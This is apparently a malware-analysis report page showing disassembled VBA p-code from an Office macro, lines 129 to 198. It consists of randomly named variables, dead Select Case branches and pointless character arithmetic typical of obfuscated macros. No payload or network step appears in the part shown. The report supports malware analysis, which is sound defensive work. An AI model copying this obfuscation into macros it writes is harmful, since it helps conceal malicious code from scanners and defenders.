' 	Case 
' 	CaseDone 
' Line #129:
' 	LitDI4 0xCC48 0x084A 
' 	St lmPwdmttLHzBiGKKGuJVQ 
' Line #130:
' 	LitDI4 0xF9B0 0x0D1A 
' 	St FwuPPBRCFEkTWWhXikQDmOw 
' Line #131:
' 	EndSelect 
' Line #132:
' 	SetStmt 
' 	Ld WfkARGqzMVRjUAPzQCi 
' 	Set zVzBpGUQsJzjXdruFuzwnno 
' Line #133:
' 	Ld UzlTAWBMLaEfzikIcr 
' 	ArgsLd Hex 0x0001 
' 	St hoHHYJhUzjGKjYiK 
' Line #134:
' 	Ld MKiGwoAssaOVLBwJzkjpz 
' 	SelectCase 
' Line #135:
' 	LitDI4 0x1FC9 0x008A 
' 	Case 
' 	CaseDone 
' Line #136:
' 	LitDI4 0x96E8 0x0110 
' 	LitDI4 0x8F4D 0x021C 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St wrEajEqWoHUVKzbmLKiXMw 
' Line #137:
' 	Ld aOrfmKVwXfOdZB 
' 	St IzTkqwkLYkPuNUnC 
' Line #138:
' 	LitDI4 0x7BBB 0x0FE7 
' 	Case 
' 	CaseDone 
' Line #139:
' 	LitDI4 0x1077 0x1374 
' 	St OYHWlwKjKlPMszquVIWoOfVm 
' Line #140:
' 	LitDI4 0x7250 0x1007 
' 	St SRVhwiavzvffRcDHUBuJFZ 
' Line #141:
' 	EndSelect 
' Line #142:
' 	SetStmt 
' 	Ld uOqqukGKUrnjscBZhCaKPsLF 
' 	Set HQfAkjDUZzftOdnhlz 
' Line #143:
' 	Ld dlSmQMDFiKniCDkYzZNTG 
' 	ArgsLd Hex 0x0001 
' 	St wKtrNNYIbtERZlPdY 
' Line #144:
' 	Ld AWYFKcCcSliBqrikcvfY 
' 	SelectCase 
' Line #145:
' 	LitDI4 0x260D 0x04D0 
' 	Case 
' 	CaseDone 
' Line #146:
' 	LitDI4 0xEECC 0x0598 
' 	LitDI4 0x62C9 0x1351 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St EKFmkppTztRIdVFUK 
' Line #147:
' 	Ld rMnznlkiOIiIkRbuwRW 
' 	St QmnbfStPAhwZTlSOA 
' Line #148:
' 	LitDI4 0x5094 0x0BE3 
' 	Case 
' 	CaseDone 
' Line #149:
' 	LitDI4 0xDFA0 0x0C0F 
' 	St RwZTPusosCrUmWk 
' Line #150:
' 	LitDI4 0x1C09 0x0A1A 
' 	St zCqzEkkszjwZmBrVR 
' Line #151:
' 	EndSelect 
' Line #152:
' 	SetStmt 
' 	Ld JNMobSOuOFBzwUzUQkbLzD 
' 	Set NfXqrtWGnnwuqPiSU 
' Line #153:
' 	Ld nodzWwzrIoGijrW 
' 	ArgsLd Hex 0x0001 
' 	St dzEwlHKEjXiHMDZEFczfQ 
' Line #154:
' 	Ld zuBCZrwbGcVQmjizFpNS 
' 	SelectCase 
' Line #155:
' 	LitDI4 0xF809 0x1112 
' 	Case 
' 	CaseDone 
' Line #156:
' 	LitDI4 0xFCF7 0x12C0 
' 	LitDI4 0xA1AC 0x1061 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St VOOBziQcBKjYiEUr 
' Line #157:
' 	Ld XuRKdbLjOBddOtXzWSllXz 
' 	St UrkdqENnSTzSOonZm 
' Line #158:
' 	LitDI4 0x7D68 0x0E3F 
' 	Case 
' 	CaseDone 
' Line #159:
' 	LitDI4 0xA923 0x01C7 
' 	St wJDrVkrfiCXvBKNISKpLJpE 
' Line #160:
' 	LitDI4 0xC67F 0x0206 
' 	St PRUnBQaJaMUYTLdKwvLVbwM 
' Line #161:
' 	EndSelect 
' Line #162:
' 	SetStmt 
' 	Ld TNHYhIFwwGSWrjmzlazt 
' 	Set PRUnBQaJaMUYTLdKwvLVbwM 
' Line #163:
' 	Ld ELnHOZYpXOLsUOvXWO 
' 	ArgsLd Hex 0x0001 
' 	St wzMBLusjTQFPLiDTltDPZ 
' Line #164:
' 	Dim (Const) 
' 	LitDI2 0x0000 
' 	VarDefn PdpMHjwjdAhuiKbu
' Line #165:
' 	Ld PaAEjRCu 
' 	SelectCase 
' Line #166:
' 	LitDI4 0xB661 0x025D 
' 	Case 
' 	CaseDone 
' Line #167:
' 	LitDI4 0xFC1D 0x04F2 
' 	LitDI4 0x0DF3 0x10D6 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St rkhKJpZWKCNsVUJ 
' Line #168:
' 	Ld wmDmBFrTTCXtDACln 
' 	St mVlBsaWjtHBTUEaMz 
' Line #169:
' 	LitDI4 0x4521 0x0737 
' 	Case 
' 	CaseDone 
' Line #170:
' 	LitDI4 0x3060 0x08BD 
' 	St wJLdPhXCqwmjVI 
' Line #171:
' 	LitDI4 0xF678 0x06A1 
' 	St SASzAnjCMqkHQTBpZvNhEU 
' Line #172:
' 	EndSelect 
' Line #173:
' 	SetStmt 
' 	Ld zQlWwzHaullwdwkAYqV 
' 	Set OzOshnhPbMhCTnDLaI 
' Line #174:
' 	Ld jGUqajYWDCmjmrQckjkzb 
' 	ArgsLd Hex 0x0001 
' 	St JUfEmwVlsCHwDwXwOsw 
' Line #175:
' 	Ld hripuhYmmjultCApdC 
' 	SelectCase 
' Line #176:
' 	LitDI4 0x1CDA 0x04C7 
' 	Case 
' 	CaseDone 
' Line #177:
' 	LitDI4 0x444D 0x0B86 
' 	LitDI4 0xC805 0x0AA0 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St vLwsSmAILHrZdcG 
' Line #178:
' 	Ld zinqFuTjOCYpriqVWNbcEkiU 
' 	St UzfcFpZiqKvXjnaYBVwYB 
' Line #179:
' 	LitDI4 0xF318 0x0373 
' 	Case 
' 	CaseDone 
' Line #180:
' 	LitDI4 0x9D57 0x0907 
' 	St AcGHnfqYkdaBjYwqM 
' Line #181:
' 	LitDI4 0xE200 0x0A4A 
' 	St OlhWicBnBwqOATZFRMbb 
' Line #182:
' 	EndSelect 
' Line #183:
' 	SetStmt 
' 	Ld OahKTiikhGjUZVNIOwWMwnz 
' 	Set QHBQUnpfmsbBGjSFcflrp 
' Line #184:
' 	Ld HuuZLskOWXtSOvb 
' 	ArgsLd Hex 0x0001 
' 	St tmMkwpfsqNmqmdWA 
' Line #185:
' 	Ld URjSunsbndMiXVkcWEq 
' 	SelectCase 
' Line #186:
' 	LitDI4 0x63CC 0x07BE 
' 	Case 
' 	CaseDone 
' Line #187:
' 	LitDI4 0x0459 0x0D38 
' 	LitDI4 0xFC1B 0x04EC 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St bAhiDicPdQoDXWl 
' Line #188:
' 	Ld qbpTOoLswhbRZbhEzQvmLa 
' 	St iEFGKFuTccOfvoCjOG 
' Line #189:
' 	LitDI4 0x189F 0x12C3 
' 	Case 
' 	CaseDone 
' Line #190:
' 	LitDI4 0x49FD 0x0A65 
' 	St OkiblXIQDHjndPm 
' Line #191:
' 	LitDI4 0x9573 0x04E3 
' 	St jbiumOWNUbPpmZdQV 
' Line #192:
' 	EndSelect 
' Line #193:
' 	SetStmt 
' 	Ld QwtaQhDWIpDPDJGpd 
' 	Set jMZVpRYJsoEpMUiDjwLcW 
' Line #194:
' 	Ld wrHcpRvzIFaudGiORjp 
' 	ArgsLd Hex 0x0001 
' 	St EdYQmDUIVtUJwMTwI 
' Line #195:
' 	Ld KqFILJCwrqvFAh 
' 	SelectCase 
' Line #196:
' 	LitDI4 0xFC03 0x0767 
' 	Case 
' 	CaseDone 
' Line #197:
' 	LitDI4 0x9A18 0x0BF4 
' 	LitDI4 0x74F0 0x0311 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St HDYmorWrmBzMaiYiUd 
' Line #198:
' 	Ld iqjfkaQuowVkiiuNT 
' 	St dtkcCroGacXjnikzO 
…

Open this report in the interactive analyzer, or submit your own file for analysis.